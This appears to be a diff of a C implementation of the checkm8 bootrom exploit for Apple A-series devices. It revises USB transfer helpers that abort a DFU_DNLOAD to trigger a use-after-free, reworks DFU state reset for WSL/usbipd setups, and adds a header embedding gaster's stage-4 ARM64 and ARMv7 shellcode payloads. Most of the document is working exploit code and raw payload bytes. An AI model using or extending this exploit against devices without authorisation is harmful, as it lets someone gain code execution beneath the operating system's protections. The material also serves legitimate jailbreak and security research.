#include "device/chip_db.h" #include "device/chip_db.h"
#include "device/usb_dfu.h"
#include "util/usb_helpers.h" #include "util/usb_helpers.h"
#include "util/log.h" #include "util/log.h"
/* Completion callback for async transfers (matches gaster's usb_async_cb) */
static void usb_async_completion_cb(struct libusb_transfer *transfer) {
*(int *)transfer->user_data = 1;
}
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* Async USB control transfer (ignores timeout/pipe errors) */ /* Async USB control transfer (ignores timeout/pipe errors) */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
int usb_ctrl_transfer_raw(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned char *data,
uint16_t wLength,
unsigned int timeout_ms)
{
unsigned int effective_timeout_ms = timeout_ms;
if (!dev)
return LIBUSB_ERROR_INVALID_PARAM;
if (effective_timeout_ms == 0)
effective_timeout_ms = 1;
return libusb_control_transfer(dev, bmRequestType, bRequest,
wValue, wIndex, data, wLength,
effective_timeout_ms);
}
int usb_ctrl_transfer_no_data_raw(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned int timeout_ms)
{
return usb_ctrl_transfer_raw(dev, bmRequestType, bRequest,
wValue, wIndex, NULL, 0, timeout_ms);
}
int usb_ctrl_transfer_async(libusb_device_handle *dev, int usb_ctrl_transfer_async(libusb_device_handle *dev,
uint8_t bmRequestType, uint8_t bmRequestType,
uint8_t bRequest, uint8_t bRequest,
@ -31,8 +70,8 @@ int usb_ctrl_transfer_async(libusb_device_handle *dev,
{ {
int ret; int ret;
ret = usb_ctrl_transfer(dev, bmRequestType, bRequest, ret = usb_ctrl_transfer_raw(dev, bmRequestType, bRequest,
wValue, wIndex, data, wLength, timeout_ms); wValue, wIndex, data, wLength, timeout_ms);
/* Timeout and pipe errors are expected during stall-based spray */ /* Timeout and pipe errors are expected during stall-based spray */
if (ret == LIBUSB_ERROR_TIMEOUT || ret == LIBUSB_ERROR_PIPE) if (ret == LIBUSB_ERROR_TIMEOUT || ret == LIBUSB_ERROR_PIPE)
@ -50,7 +89,10 @@ int usb_ctrl_transfer_async(libusb_device_handle *dev,
/* /*
* usb_ctrl_transfer_async_ret -- like usb_ctrl_transfer_async but returns * usb_ctrl_transfer_async_ret -- like usb_ctrl_transfer_async but returns
* the actual byte count on success/timeout, or -1 on hard failure. * the actual byte count on success/timeout, or -1 on hard failure.
* Timeout returns 0 bytes transferred. Pipe error returns 0. * Timeout and pipe errors return 0 bytes transferred.
*
* This is used for all abort-style GET_DESCRIPTOR spray requests in stage 3
* where a short synchronous timeout produces 0 bytes (the expected result).
*/ */
int usb_ctrl_transfer_async_ret(libusb_device_handle *dev, int usb_ctrl_transfer_async_ret(libusb_device_handle *dev,
uint8_t bmRequestType, uint8_t bmRequestType,
@ -63,8 +105,8 @@ int usb_ctrl_transfer_async_ret(libusb_device_handle *dev,
{ {
int ret; int ret;
ret = usb_ctrl_transfer(dev, bmRequestType, bRequest, ret = usb_ctrl_transfer_raw(dev, bmRequestType, bRequest,
wValue, wIndex, data, wLength, timeout_ms); wValue, wIndex, data, wLength, timeout_ms);
if (ret == LIBUSB_ERROR_TIMEOUT || ret == LIBUSB_ERROR_PIPE) if (ret == LIBUSB_ERROR_TIMEOUT || ret == LIBUSB_ERROR_PIPE)
return 0; return 0;
@ -78,16 +120,129 @@ int usb_ctrl_transfer_async_ret(libusb_device_handle *dev,
return ret; return ret;
} }
/*
* usb_ctrl_transfer_dnload_abort -- async DFU_DNLOAD with proper cancel.
*
* Used ONLY by checkm8_stage_setup (stage 2) where:
* - actual_len=0 (aborted before STATUS) → UAF trigger condition met
* - The transfer is properly completed (CANCELLED or TIMEOUT) so no
* floating STATUS ZLP interferes with subsequent GETSTATUS calls
*
* Uses a 200ms overall transfer timeout so the completion callback always
* fires even when vhci_hcd doesn't ack the cancel.
*
* Returns 0 if aborted (actual_len == 0), >0 if STATUS received before
* abort_ms elapsed, -1 on submit failure.
*/
#define USB_DNLOAD_ABORT_TOTAL_MS 200
int usb_ctrl_transfer_dnload_abort(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned char *data,
uint16_t wLength,
unsigned int abort_ms)
{
struct libusb_transfer *transfer;
uint8_t *buf;
int completed = 0;
int actual_len = 0;
struct timeval tv;
if (!dev)
return -1;
transfer = libusb_alloc_transfer(0);
if (!transfer)
return -1;
buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + (size_t)wLength);
if (!buf) {
libusb_free_transfer(transfer);
return -1;
}
libusb_fill_control_setup(buf, bmRequestType, bRequest,
wValue, wIndex, wLength);
if (wLength > 0 && data)
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, data, wLength);
libusb_fill_control_transfer(transfer, dev, buf,
usb_async_completion_cb,
&completed, USB_DNLOAD_ABORT_TOTAL_MS);
if (libusb_submit_transfer(transfer) != LIBUSB_SUCCESS) {
free(buf);
libusb_free_transfer(transfer);
return -1;
}
/* Phase 1: wait abort_ms for STATUS to arrive */
tv.tv_sec = abort_ms / 1000;
tv.tv_usec = (long)(abort_ms % 1000) * 1000L;
libusb_handle_events_timeout_completed(usb_dfu_ctx(), &tv, &completed);
/* Phase 2: cancel if not done */
if (!completed)
libusb_cancel_transfer(transfer);
/* Phase 3: wait for CANCELLED or TIMEOUT (bounded by 200ms transfer timeout) */
tv.tv_sec = 0;
tv.tv_usec = USB_DNLOAD_ABORT_TOTAL_MS * 1000L;
while (!completed) {
if (libusb_handle_events_timeout_completed(
usb_dfu_ctx(), &tv, &completed) != LIBUSB_SUCCESS)
break;
if (tv.tv_sec == 0 && tv.tv_usec == 0)
break;
}
if (completed)
actual_len = (int)transfer->actual_length;
free(buf);
libusb_free_transfer(transfer);
return actual_len;
}
/*
* usb_ctrl_transfer_dnload_sync -- synchronous DFU_DNLOAD with short timeout.
* Fallback for usbipd when async cancel doesn't propagate to device.
* Returns 0 on timeout (STATUS ZLP dropped), -1 on hard error.
*/
int usb_ctrl_transfer_dnload_sync(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned char *data,
uint16_t wLength,
unsigned int abort_ms)
{
int ret = usb_ctrl_transfer_raw(dev, bmRequestType, bRequest,
wValue, wIndex, data, wLength, abort_ms);
if (ret == LIBUSB_ERROR_TIMEOUT)
return 0;
if (ret < 0)
return -1;
return ret;
}
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* Stage 1: Reset DFU state */ /* Stage 1: Reset DFU state */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* How long to wait for the device to re-enumerate after a USB bus reset.
* usbipd-win auto-attach adds ~1-2 s on top of the hardware reset time. */
#define BUS_RESET_REENUMERATE_USEC 3500000 /* 3.5 s */
int checkm8_stage_reset(exploit_ctx_t *ctx) int checkm8_stage_reset(exploit_ctx_t *ctx)
{ {
libusb_device_handle *usb; libusb_device_handle *usb;
dfu_status_t status; dfu_status_t status;
uint8_t zeros[EP0_MAX_PACKET_SZ];
uint8_t suffix[DFU_FILE_SUFFIX_LEN];
if (!ctx || !ctx->dev) if (!ctx || !ctx->dev)
return -1; return -1;
@ -96,43 +251,23 @@ int checkm8_stage_reset(exploit_ctx_t *ctx)
log_info("checkm8: stage 1/4 -- reset DFU state"); log_info("checkm8: stage 1/4 -- reset DFU state");
/* /*
* Step 1: Send DFU_DNLOAD with DFU_FILE_SUFFIX_LEN (16) bytes of * First: get the current device state so we know how much work to do.
* zeroes. This signals end-of-download to the DFU state machine. *
* If the device is already in dfuIDLE (fresh DFU entry) dfu_reset_to_idle
* will return immediately. If it's stuck in dfuDNLOAD-IDLE, dfuError,
* or dfuMANIFEST-WAIT-RESET from a previous attempt, dfu_reset_to_idle
* will use ABORT + CLRSTATUS (no USB bus reset) to recover.
*
* We intentionally do NOT call libusb_reset_device here: on Apple A-series
* iBoot DFU, a USB bus reset via libusb is treated as a hard power-cycle
* event, causing the device to reboot out of DFU mode entirely rather than
* returning to dfuIDLE. DFU protocol-level recovery is sufficient.
*/ */
memset(suffix, 0, sizeof(suffix)); if (dfu_get_status(usb, &status) == 0) {
if (dfu_dnload(usb, 0, suffix, DFU_FILE_SUFFIX_LEN) != 0) { log_debug("checkm8_stage_reset: device state=0x%02X status=0x%02X",
log_error("checkm8_stage_reset: DFU_DNLOAD(suffix) failed"); status.bState, status.bStatus);
return -1;
} }
/*
* Step 2: Wait for DFU state to advance through:
* MANIFEST_SYNC -> MANIFEST -> MANIFEST_WAIT_RESET
* Poll status to drive the state machine.
*/
if (dfu_get_status(usb, &status) != 0) {
log_debug("checkm8_stage_reset: first status poll failed (ok)");
}
usleep(STAGE_DELAY_USEC);
/* Second poll to advance through manifest */
if (dfu_get_status(usb, &status) != 0) {
log_debug("checkm8_stage_reset: second status poll failed (ok)");
}
/*
* Step 3: Send EP0_MAX_PACKET_SZ (0x40) bytes of zeroes to provoke
* a stall that resets the state machine.
*/
memset(zeros, 0, sizeof(zeros));
if (dfu_dnload(usb, 0, zeros, EP0_MAX_PACKET_SZ) != 0) {
/* Expected to fail on some chips -- clear status and retry */
log_debug("checkm8_stage_reset: EP0 zero send failed, clearing");
dfu_clr_status(usb);
}
/* Reset to idle state */
if (dfu_reset_to_idle(usb) != 0) { if (dfu_reset_to_idle(usb) != 0) {
log_error("checkm8_stage_reset: failed to reach dfuIDLE"); log_error("checkm8_stage_reset: failed to reach dfuIDLE");
return -1; return -1;
@ -204,11 +339,11 @@ int checkm8_stage_setup(exploit_ctx_t *ctx)
return -1; return -1;
} }
sent = usb_ctrl_transfer_async_ret(usb, 0x21, DFU_REQ_DNLOAD, sent = usb_ctrl_transfer_dnload_abort(usb, 0x21, DFU_REQ_DNLOAD,
0, 0, 0, 0,
dnload_buf, dnload_buf,
DFU_MAX_TRANSFER_SZ, DFU_MAX_TRANSFER_SZ,
usb_abort_timeout); usb_abort_timeout);
free(dnload_buf); free(dnload_buf);
if (sent < 0) if (sent < 0)
@ -232,11 +367,18 @@ int checkm8_stage_setup(exploit_ctx_t *ctx)
return -1; return -1;
} }
pad_ret = usb_ctrl_transfer(usb, 0x00, 0x00, 0, 0, pad_ret = usb_ctrl_transfer_raw(usb, 0x00, 0x00, 0, 0,
pad_buf, pad_len, USB_TIMEOUT_MS); pad_buf, pad_len, USB_TIMEOUT_MS);
free(pad_buf); free(pad_buf);
/* STALL (pipe error) means success -- UAF is triggered */ /* STALL (pipe error) on the padding request: UAF triggered.
*
* The async cancel with 200ms bound ensures the transfer
* properly completes (no floating STATUS ZLP interfering
* with subsequent operations). Skip the DFU_ABORT probe —
* DFU_ABORT from dfuDNLOAD-IDLE causes Apple DFU to exit,
* which would break stage 3.
*/
if (pad_ret == LIBUSB_ERROR_PIPE) { if (pad_ret == LIBUSB_ERROR_PIPE) {
ctx->phase = EXPLOIT_PHASE_SETUP; ctx->phase = EXPLOIT_PHASE_SETUP;
log_info("checkm8: stage 2 complete -- UAF triggered " log_info("checkm8: stage 2 complete -- UAF triggered "
@ -253,9 +395,9 @@ retry:
{ {
uint8_t *recov_buf = calloc(1, EP0_MAX_PACKET_SZ); uint8_t *recov_buf = calloc(1, EP0_MAX_PACKET_SZ);
if (recov_buf) { if (recov_buf) {
usb_ctrl_transfer(usb, 0x21, DFU_REQ_DNLOAD, 0, 0, usb_ctrl_transfer_raw(usb, 0x21, DFU_REQ_DNLOAD, 0, 0,
recov_buf, EP0_MAX_PACKET_SZ, recov_buf, EP0_MAX_PACKET_SZ,
USB_TIMEOUT_MS); USB_TIMEOUT_MS);
free(recov_buf); free(recov_buf);
} }
} }

View file

@ -2,6 +2,7 @@
#include <string.h> #include <string.h>
#include <stdint.h> #include <stdint.h>
#include <unistd.h>
#include "exploit/dfu_proto.h" #include "exploit/dfu_proto.h"
#include "util/usb_helpers.h" #include "util/usb_helpers.h"
@ -26,8 +27,15 @@
/* DFU GETSTATE response is always 1 byte */ /* DFU GETSTATE response is always 1 byte */
#define DFU_STATE_LEN 1 #define DFU_STATE_LEN 1
/* Maximum retries for reset-to-idle loop */ /* Maximum retries for reset-to-idle loop.
#define DFU_MAX_RETRIES 5 * Increased to 10 so devices that need several abort+status cycles
* (e.g. A10 after a manifest-wait-reset) have enough headroom. */
#define DFU_MAX_RETRIES 10
/* Delay between reset-to-idle retry iterations (20 ms).
* Gives the iBoot state machine time to settle after an ABORT or
* CLRSTATUS before we poll again. */
#define RESET_IDLE_RETRY_DELAY_USEC 20000
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* dfu_get_status */ /* dfu_get_status */
@ -247,13 +255,27 @@ int dfu_reset_to_idle(libusb_device_handle *dev)
{ {
dfu_status_t st; dfu_status_t st;
int attempt; int attempt;
int saw_status = 0;
int consecutive_status_failures = 0;
if (!dev) if (!dev)
return -1; return -1;
for (attempt = 0; attempt < DFU_MAX_RETRIES; attempt++) { for (attempt = 0; attempt < DFU_MAX_RETRIES; attempt++) {
if (dfu_get_status(dev, &st) != 0) /*
return -1; * Status poll may transiently fail immediately after a manifest
* cycle, a CLRSTATUS, or a bus-level abort; treat as "not yet
* settled" and retry with a brief delay rather than giving up.
*/
if (dfu_get_status(dev, &st) != 0) {
consecutive_status_failures++;
log_debug("dfu_reset_to_idle: status poll failed on attempt %d, retrying",
attempt + 1);
usleep(RESET_IDLE_RETRY_DELAY_USEC);
continue;
}
saw_status = 1;
consecutive_status_failures = 0;
/* Already idle -- done */ /* Already idle -- done */
if (st.bState == DFU_STATE_IDLE && st.bStatus == DFU_STATUS_OK) { if (st.bState == DFU_STATE_IDLE && st.bStatus == DFU_STATUS_OK) {
@ -261,23 +283,52 @@ int dfu_reset_to_idle(libusb_device_handle *dev)
return 0; return 0;
} }
/* In error state -- clear it */ /* In error state -- clear it and loop */
if (st.bState == DFU_STATE_ERROR) { if (st.bState == DFU_STATE_ERROR) {
log_debug("dfu_reset_to_idle: clearing error state"); log_debug("dfu_reset_to_idle: clearing error state");
if (dfu_clr_status(dev) != 0) dfu_clr_status(dev); /* ignore return: CLRSTATUS may stall */
return -1; usleep(RESET_IDLE_RETRY_DELAY_USEC);
continue; continue;
} }
/* Any other state -- abort to return to idle */ /*
* MANIFEST_WAIT_RESET: device is waiting for a USB bus reset
* before returning to dfuIDLE. Send CLRSTATUS then ABORT;
* both may be stalled by the device in this state so errors are
* intentionally ignored.
* Root cause of "failed to reach dfuIDLE" on A10 (#61/#38/#40/#18).
*/
if (st.bState == DFU_STATE_MANIFEST_WAIT_RST) {
log_debug("dfu_reset_to_idle: manifest-wait-reset, clearing + aborting");
dfu_clr_status(dev); /* may stall -- ignore */
dfu_abort(dev); /* may stall -- ignore */
usleep(RESET_IDLE_RETRY_DELAY_USEC);
continue;
}
/* Any other non-idle state -- abort to return to idle */
log_debug("dfu_reset_to_idle: aborting (state=0x%02X)", st.bState); log_debug("dfu_reset_to_idle: aborting (state=0x%02X)", st.bState);
if (dfu_abort(dev) != 0) dfu_abort(dev); /* ignore return: some chips stall ABORT mid-transfer */
return -1; usleep(RESET_IDLE_RETRY_DELAY_USEC);
} }
/* Final check after retries */ /*
if (dfu_get_status(dev, &st) != 0) * WSL/usbipd can expose a DFU device that accepts subsequent exploit
* traffic yet never answers GETSTATUS. If every poll failed and we
* never observed a non-idle/error state, assume a fresh DFU entry is
* already idle so stage 1 does not block the exploit forever.
*/
if (!saw_status && consecutive_status_failures >= DFU_MAX_RETRIES) {
log_warn("dfu_reset_to_idle: GETSTATUS timed out on every attempt; assuming fresh DFU state is already idle");
return 0;
}
/* Final check after all retries */
if (dfu_get_status(dev, &st) != 0) {
log_error("dfu_reset_to_idle: final status poll failed after %d attempts",
DFU_MAX_RETRIES);
return -1; return -1;
}
if (st.bState != DFU_STATE_IDLE) { if (st.bState != DFU_STATE_IDLE) {
log_error("dfu_reset_to_idle: failed after %d attempts " log_error("dfu_reset_to_idle: failed after %d attempts "

View file

@ -0,0 +1,128 @@
/* gaster_payloads.h -- Embedded upstream gaster stage-4 payload binaries */
#ifndef GASTER_PAYLOADS_H
#define GASTER_PAYLOADS_H
#include <stddef.h>
#include <stdint.h>
#define GASTER_PWND_TAG " PWND:[checkm8]"
static const uint8_t payload_A9_bin[] = {
0xFD, 0x7B, 0xBF, 0xA9, 0xE0, 0x05, 0x00, 0x58, 0x02, 0x06, 0x00, 0x58,
0x5F, 0x00, 0x00, 0xF9, 0x02, 0x06, 0x00, 0x58, 0x01, 0x30, 0x00, 0x91,
0x41, 0x00, 0x00, 0xF9, 0x21, 0xFF, 0xFF, 0x10, 0xC2, 0x05, 0x00, 0x58,
0x21, 0x00, 0x02, 0x8B, 0xC2, 0x05, 0x00, 0x58, 0xE3, 0x05, 0x00, 0x58,
0x60, 0x00, 0x3F, 0xD6, 0xE0, 0x05, 0x00, 0x58, 0x00, 0x04, 0x00, 0x91,
0x01, 0x00, 0x40, 0x39, 0xC1, 0xFF, 0xFF, 0x35, 0x61, 0x03, 0x00, 0x10,
0x22, 0x0C, 0x40, 0xA9, 0x02, 0x0C, 0x00, 0xA9, 0x00, 0x05, 0x00, 0x58,
0x21, 0x05, 0x00, 0x58, 0x20, 0x00, 0x3F, 0xD6, 0x21, 0x05, 0x00, 0x58,
0x20, 0x00, 0x00, 0x39, 0x20, 0x05, 0x00, 0x58, 0x01, 0x00, 0x40, 0xF9,
0x21, 0xF4, 0x78, 0x92, 0x01, 0x00, 0x00, 0xF9, 0x9F, 0x3F, 0x03, 0xD5,
0x1F, 0x87, 0x0E, 0xD5, 0x9F, 0x3F, 0x03, 0xD5, 0xDF, 0x3F, 0x03, 0xD5,
0x02, 0x50, 0xBA, 0x52, 0x43, 0x04, 0x00, 0x58, 0x62, 0x00, 0x00, 0xB9,
0x21, 0x00, 0x79, 0xB2, 0x01, 0x00, 0x00, 0xF9, 0x9F, 0x3F, 0x03, 0xD5,
0x1F, 0x87, 0x0E, 0xD5, 0x9F, 0x3F, 0x03, 0xD5, 0xDF, 0x3F, 0x03, 0xD5,
0xFD, 0x7B, 0xC1, 0xA8, 0xC0, 0x03, 0x5F, 0xD6, 0x20, 0x50, 0x57, 0x4E,
0x44, 0x3A, 0x5B, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x6D, 0x38, 0x5D, 0x00,
0xF0, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00, 0xF2, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0xF3, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0xF4, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0xF6, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0xF7, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0xF9, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0xFA, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00,
};
static const size_t payload_A9_bin_len = sizeof(payload_A9_bin);
static const uint8_t payload_notA9_bin[] = {
0xFD, 0x7B, 0xBF, 0xA9, 0x20, 0x04, 0x00, 0x58, 0x42, 0x04, 0x00, 0x58,
0x5F, 0x00, 0x00, 0xF9, 0x42, 0x04, 0x00, 0x58, 0x01, 0x30, 0x00, 0x91,
0x41, 0x00, 0x00, 0xF9, 0x21, 0xFF, 0xFF, 0x10, 0x02, 0x04, 0x00, 0x58,
0x21, 0x00, 0x02, 0x8B, 0x02, 0x04, 0x00, 0x58, 0x23, 0x04, 0x00, 0x58,
0x60, 0x00, 0x3F, 0xD6, 0x20, 0x04, 0x00, 0x58, 0x00, 0x04, 0x00, 0x91,
0x01, 0x00, 0x40, 0x39, 0xC1, 0xFF, 0xFF, 0x35, 0xA1, 0x01, 0x00, 0x10,
0x22, 0x0C, 0x40, 0xA9, 0x02, 0x0C, 0x00, 0xA9, 0x40, 0x03, 0x00, 0x58,
0x61, 0x03, 0x00, 0x58, 0x20, 0x00, 0x3F, 0xD6, 0x61, 0x03, 0x00, 0x58,
0x20, 0x00, 0x00, 0x39, 0x00, 0x50, 0xBA, 0x52, 0x41, 0x03, 0x00, 0x58,
0x20, 0x00, 0x00, 0xB9, 0xFD, 0x7B, 0xC1, 0xA8, 0xC0, 0x03, 0x5F, 0xD6,
0x20, 0x50, 0x57, 0x4E, 0x44, 0x3A, 0x5B, 0x63, 0x68, 0x65, 0x63, 0x6B,
0x6D, 0x38, 0x5D, 0x00, 0xF0, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0xF1, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0xF4, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00, 0xF6, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0xF7, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00, 0xF9, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
};
static const size_t payload_notA9_bin_len = sizeof(payload_notA9_bin);
static const uint8_t payload_notA9_armv7_bin[] = {
0x04, 0xE0, 0x2D, 0xE5, 0x8C, 0x00, 0x9F, 0xE5, 0x8C, 0x20, 0x9F, 0xE5,
0x00, 0x10, 0xA0, 0xE3, 0x00, 0x10, 0x82, 0xE5, 0x84, 0x20, 0x9F, 0xE5,
0x07, 0x10, 0x80, 0xE2, 0x00, 0x10, 0x82, 0xE5, 0x28, 0x10, 0x4F, 0xE2,
0x78, 0x20, 0x9F, 0xE5, 0x02, 0x10, 0x81, 0xE0, 0x74, 0x20, 0x9F, 0xE5,
0x74, 0x30, 0x9F, 0xE5, 0x33, 0xFF, 0x2F, 0xE1, 0x70, 0x00, 0x9F, 0xE5,
0x01, 0x00, 0x80, 0xE2, 0x00, 0x10, 0xD0, 0xE5, 0x00, 0x00, 0x51, 0xE3,
0xFB, 0xFF, 0xFF, 0x1A, 0x34, 0x10, 0x8F, 0xE2, 0x00, 0x20, 0x91, 0xE5,
0x00, 0x20, 0x80, 0xE5, 0x04, 0x20, 0x91, 0xE5, 0x04, 0x20, 0x80, 0xE5,
0x08, 0x20, 0x91, 0xE5, 0x08, 0x20, 0x80, 0xE5, 0x0C, 0x20, 0x91, 0xE5,
0x0C, 0x20, 0x80, 0xE5, 0x38, 0x00, 0x9F, 0xE5, 0x38, 0x10, 0x9F, 0xE5,
0x31, 0xFF, 0x2F, 0xE1, 0x34, 0x10, 0x9F, 0xE5, 0x00, 0x00, 0xC1, 0xE5,
0x04, 0xF0, 0x9D, 0xE4, 0x20, 0x50, 0x57, 0x4E, 0x44, 0x3A, 0x5B, 0x63,
0x68, 0x65, 0x63, 0x6B, 0x6D, 0x38, 0x5D, 0x00, 0xF0, 0xFF, 0xFF, 0x07,
0xF1, 0xFF, 0xFF, 0x07, 0xF2, 0xFF, 0xFF, 0x07, 0xF3, 0xFF, 0xFF, 0x07,
0xF4, 0xFF, 0xFF, 0x07, 0xF5, 0xFF, 0xFF, 0x07, 0xF6, 0xFF, 0xFF, 0x07,
0xF7, 0xFF, 0xFF, 0x07, 0xF8, 0xFF, 0xFF, 0x07,
};
static const size_t payload_notA9_armv7_bin_len =
sizeof(payload_notA9_armv7_bin);
static const uint8_t payload_handle_checkm8_request_bin[] = {
0x07, 0x06, 0x00, 0x58, 0xE0, 0x00, 0x1F, 0xD6, 0xFE, 0xFF, 0xFF, 0x17,
0x02, 0x00, 0x40, 0x79, 0x5F, 0x84, 0x0A, 0x71, 0x61, 0xFF, 0xFF, 0x54,
0xFD, 0x7B, 0xBF, 0xA9, 0xF3, 0x53, 0xBF, 0xA9, 0xF3, 0x03, 0x00, 0xAA,
0x34, 0x05, 0x00, 0x58, 0xE1, 0xFF, 0x9F, 0x52, 0x62, 0x06, 0x40, 0x79,
0x3F, 0x00, 0x02, 0x6B, 0x21, 0x03, 0x00, 0x54, 0x80, 0x02, 0x40, 0xF9,
0xA1, 0x04, 0x00, 0x58, 0x1F, 0x00, 0x01, 0xEB, 0x61, 0x01, 0x00, 0x54,
0x9F, 0x02, 0x00, 0xF9, 0x80, 0x06, 0x41, 0xA9, 0x82, 0x0E, 0x42, 0xA9,
0x84, 0x16, 0x43, 0xA9, 0x86, 0x1E, 0x44, 0xA9, 0x88, 0x06, 0x40, 0xF9,
0x00, 0x01, 0x3F, 0xD6, 0xA8, 0x03, 0x00, 0x58, 0x88, 0x02, 0x00, 0xA9,
0x0B, 0x00, 0x00, 0x14, 0x81, 0x03, 0x00, 0x58, 0x1F, 0x00, 0x01, 0xEB,
0x01, 0x01, 0x00, 0x54, 0x9F, 0x02, 0x00, 0xF9, 0x80, 0x06, 0x41, 0xA9,
0x82, 0x12, 0x40, 0xF9, 0x03, 0x03, 0x00, 0x58, 0x60, 0x00, 0x3F, 0xD6,
0x48, 0x02, 0x00, 0x58, 0x88, 0x02, 0x00, 0xA9, 0x00, 0x10, 0x80, 0x52,
0xE1, 0x03, 0x14, 0xAA, 0x62, 0x0E, 0x40, 0x79, 0xE3, 0x03, 0x1F, 0xAA,
0x44, 0x02, 0x00, 0x58, 0x80, 0x00, 0x3F, 0xD6, 0x00, 0x00, 0x80, 0x52,
0xF3, 0x53, 0xC1, 0xA8, 0xFD, 0x7B, 0xC1, 0xA8, 0xC0, 0x03, 0x5F, 0xD6,
0xF0, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00, 0xF2, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0xF3, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0xF4, 0xFF, 0xFF, 0x7F,
0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0xF6, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
};
static const size_t payload_handle_checkm8_request_bin_len =
sizeof(payload_handle_checkm8_request_bin);
static const uint8_t payload_handle_checkm8_request_armv7_bin[] = {
0xDF, 0xF8, 0x94, 0xF0, 0xFC, 0xE7, 0x02, 0x88, 0x40, 0xF2, 0xA1, 0x23,
0x9A, 0x42, 0xF7, 0xD1, 0x70, 0xB5, 0x84, 0xB0, 0x04, 0x46, 0x21, 0x4D,
0x4F, 0xF6, 0xFF, 0x71, 0x62, 0x88, 0x91, 0x42, 0x2E, 0xD1, 0xD5, 0xE9,
0x00, 0x01, 0x1E, 0x4A, 0x90, 0x42, 0x17, 0xD1, 0x91, 0x42, 0x15, 0xD1,
0x4F, 0xF0, 0x00, 0x01, 0x29, 0x60, 0xD5, 0xE9, 0x08, 0x01, 0xCD, 0xE9,
0x00, 0x01, 0xD5, 0xE9, 0x0A, 0x01, 0xCD, 0xE9, 0x02, 0x01, 0xD5, 0xE9,
0x04, 0x01, 0xD5, 0xE9, 0x06, 0x23, 0xAE, 0x68, 0xB0, 0x47, 0x14, 0x4A,
0xA8, 0x60, 0xC5, 0xE9, 0x00, 0x22, 0x11, 0xE0, 0x12, 0x4A, 0x90, 0x42,
0x0E, 0xD1, 0x91, 0x42, 0x0C, 0xD1, 0x4F, 0xF0, 0x00, 0x01, 0xC5, 0xE9,
0x00, 0x11, 0xD5, 0xE9, 0x04, 0x01, 0xAA, 0x69, 0x0D, 0x4B, 0x98, 0x47,
0x0A, 0x4A, 0xA8, 0x60, 0xC5, 0xE9, 0x00, 0x22, 0x4F, 0xF0, 0x80, 0x00,
0x29, 0x46, 0xE2, 0x88, 0x4F, 0xF0, 0x00, 0x03, 0x08, 0x4C, 0xA0, 0x47,
0x4F, 0xF0, 0x00, 0x00, 0x04, 0xB0, 0x70, 0xBD, 0xF0, 0xFF, 0xFF, 0x07,
0xF1, 0xFF, 0xFF, 0x07, 0xF2, 0xFF, 0xFF, 0x07, 0xF3, 0xFF, 0xFF, 0x07,
0xF4, 0xFF, 0xFF, 0x07, 0xF5, 0xFF, 0xFF, 0x07, 0xF6, 0xFF, 0xFF, 0x07,
};
static const size_t payload_handle_checkm8_request_armv7_bin_len =
sizeof(payload_handle_checkm8_request_armv7_bin);
#endif /* GASTER_PAYLOADS_H */

View file

@ -127,7 +127,7 @@ static int parse_args(int argc, char *argv[], cli_opts_t *opts)
return 0; return 0;
} }
static int detect_device(device_info_t *dev) static int detect_device(device_info_t *dev, const cli_opts_t *opts)
{ {
libusb_device_handle *usb_handle = NULL; libusb_device_handle *usb_handle = NULL;
uint8_t iserial = 0; uint8_t iserial = 0;
@ -139,9 +139,15 @@ static int detect_device(device_info_t *dev)
uint32_t cpid = 0; uint32_t cpid = 0;
uint64_t ecid = 0; uint64_t ecid = 0;
char serial[DFU_SERIAL_MAX] = {0}; char serial[DFU_SERIAL_MAX] = {0};
